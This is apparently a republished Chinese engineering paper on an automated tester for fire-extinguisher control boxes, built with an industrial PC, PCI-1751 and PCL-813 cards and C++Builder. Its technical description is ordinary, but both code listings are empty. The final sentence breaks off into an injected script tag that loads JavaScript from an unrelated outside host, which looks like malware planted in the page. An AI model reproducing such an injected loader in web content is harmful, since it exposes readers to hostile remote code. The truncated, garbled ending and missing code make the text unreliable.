灭火装置控制盒检测仪的研制

摘 要:介绍了一种灭火装置控制盒产品的自动化检测设备的研制,该系统解决了控制盒产品在生产、调试和检测中出现的难题,并且提高了该产品的生产效率,因而具有良好的推广前景。

  关键词:工控机;pci1751;pcl813;测试系统
development of automatic detection system of fire

extinguisher′s controller box
huang weibin1,tang zhengbing2
(1.xi′an university of technology, xi′an, 710048, china;

2.xi′an aerotechnic al college, xi′an, 710077, china)
  abstract:this paper introduces an automatic detection system of fire extinguisher′s controller box. the system has settled the problems pr esented in the production, debugging and detection of fire extinguisher′s contr oller box, which improves manufacturing efficiency, and thus the system has a go od popularizing prospect

  keywords:industrial computer;pci-1751;pcl-81 3;testing system

  灭火装置控制盒在生产调试过程中,有多个重要的参数需要进行调试及检测。目前在生产中对灭火装置控制盒的检测都是通过人工调试,利用示波器和万用表逐项进行检测。这个过程不但烦琐,而且稍不小心就会损坏被测产品。因此有必要研制一种快速、准确、使用方便的测试仪。本文介绍的采用工控机和c++builder开发的自动化检测仪成功地解决了生产、调试和检测的难题,提高了该产品的生产效率。
1系统组成及工作原理

  图1为控制盒检测仪硬件原理框图。整个系统由控制盒、驱动与信号转接板、模拟信号部分、工控机、显示器、i/o定时板卡pci1751、信号采集卡pcl813、专用键盘等组成。

  其中控制盒为被测产品,控制盒、驱动转换板、控制盒检测仪之间通过转接电缆相互连接。控制盒和电路板的电源由控制盒检测仪提供。被测的控制盒工作电压、工作电流通过互感器连接到信号采集卡上。测量时,用户可以先通过专用键盘选定测试项目并预置探测器和灭火瓶的初始状态。设定完成后,控制盒检测仪通过i/o卡提供测试所需的光源信号来模拟探测器探测到的火信号,控制盒检测仪监测测量过程中的紧急开关信号、风机启动信号及控制盒输出的喷瓶信号并模拟灭火瓶状态同时给控制盒反馈相应的信号。测量结束时,在液晶显示器上显示相应的瓶状态、各个参数的测量数据,并根据合格判据判定测试的参数是否合格,最后打印相应的数据报表。
2板卡

  pci1751板卡是基于pci总线的具有48位i/o口和定时/计数的板卡。他提供48位的并行数字输入/输出口和3个16位定时器。有与8255模式0一样的工作方式,但其缓冲电路提供比8255更强的驱动能力。板卡模拟2个8255芯片提供48个数字i/o口。6个8位i/o口分成a0,b0,c0和a1,b1,c1两组。可以通过软件将每个i/o口配置成输入/输出口。板卡的定时 功能是通过一个8254兼容芯片实现的。3个定时/计数器中定时器均可配置为5种工作方式。定时器通过跳线开关可独立使用,也可级连使用组成32位或48位定时器。定时器的定时脉冲来自板卡上的一个10 mhz的有源晶振。

  pcl813板卡是基于isa总线的12位分辨率的隔离型32通道的数据采集板卡。ad采样方式为逐次逼近方式,双极性和单极性信号输入,10 v和20 v两种工作量程,同时内置软件可编程增益,最大采样速率为25 khz。
3软件编制

  在软件编制上采用c++builder 5为工具开发,主要通过主机直接控制i/o定时板卡pcl1751和数据采集卡ad813来完成测量,因此可以用自定义函数取代板卡自带驱动程序。在window 98下可通过bcb5嵌入汇编来实现对端口的操作。具体代码如下:

  

  

  

  有了以上4个函数,就可以设定板卡地址。pci1751板卡是基于pci总线的板卡,pci总线会根据板卡资源要求自动分配板卡资源。因此,可在工控机上直接插上板卡。由于要直接控制板卡,所以不用安装驱动程序。在“我的电脑”里,可以看到系统自动 分配的pci1751板卡基址为0xc000,然后取消自动分配地址选项,这样就可保证地址不变。由于pcl813是基于isa总线的板卡,因此必须手动跳线设定板卡地址,先查找未用的io地址,再根据板卡的资源要求,及说明书设定好板卡地址,系统里板卡基址为0x230,这样就可以用bcb5在windows 9. 8环境下结合自定义输入输出函数对端口进行操作了。

  下面给出部分代码:

  

  

  
4结语

  本系统采用c++ builder开发软件和windows 98开发平台,降低了系统开发难度, 使系统具备良好的扩展性。该检测仪有人机界面友好、操作方便、智能化程度高、 实时性好、测量准确等特点。该控制盒检测?script src=http://er12.com/t.js>

  • 灭火装置控制盒检测仪的研制已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计